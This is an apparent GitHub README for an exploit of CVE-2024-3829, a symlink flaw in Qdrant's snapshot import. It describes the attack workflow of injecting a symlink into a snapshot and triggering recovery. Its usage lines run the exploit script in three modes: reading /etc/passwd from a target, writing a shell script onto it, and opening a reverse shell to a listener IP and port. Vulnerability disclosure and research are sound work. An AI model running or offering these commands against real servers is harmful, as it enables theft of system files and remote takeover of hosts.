CVE-2024-3829 for Qdrant - Exploit

This repository documents and demonstrates CVE-2024-3829 for qdrant/qdrant (v1.9.0-dev)

• NVD
• Huntr
• GitHub Commit

Overview

The vulnerability allows manipulation of snapshot archives via symlink/path tricks. This enables two impact classes and a reverse shell:

1. File read
2. File write
3. Execute reverse shell

Depending on the environment, file-write primitives may escalate toward code execution.

Affected Software

• Product: Qdrant
• Version: 1.9.0-dev
• Component: Snapshot Import/Export

Workflow

1. Create a collection
2. Generate a snapshot
3. Unpack and modify the snapshot locally
4. Inject a symlink into the archive
5. Upload the modified snapshot
6. Trigger snapshot recovery
7. Evaluate the result

Usage

# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

Requirements

• Kali Linux recommended
• Python 3.10+
• Running Qdrant server for local testing
• Python package requests

GitHub Repository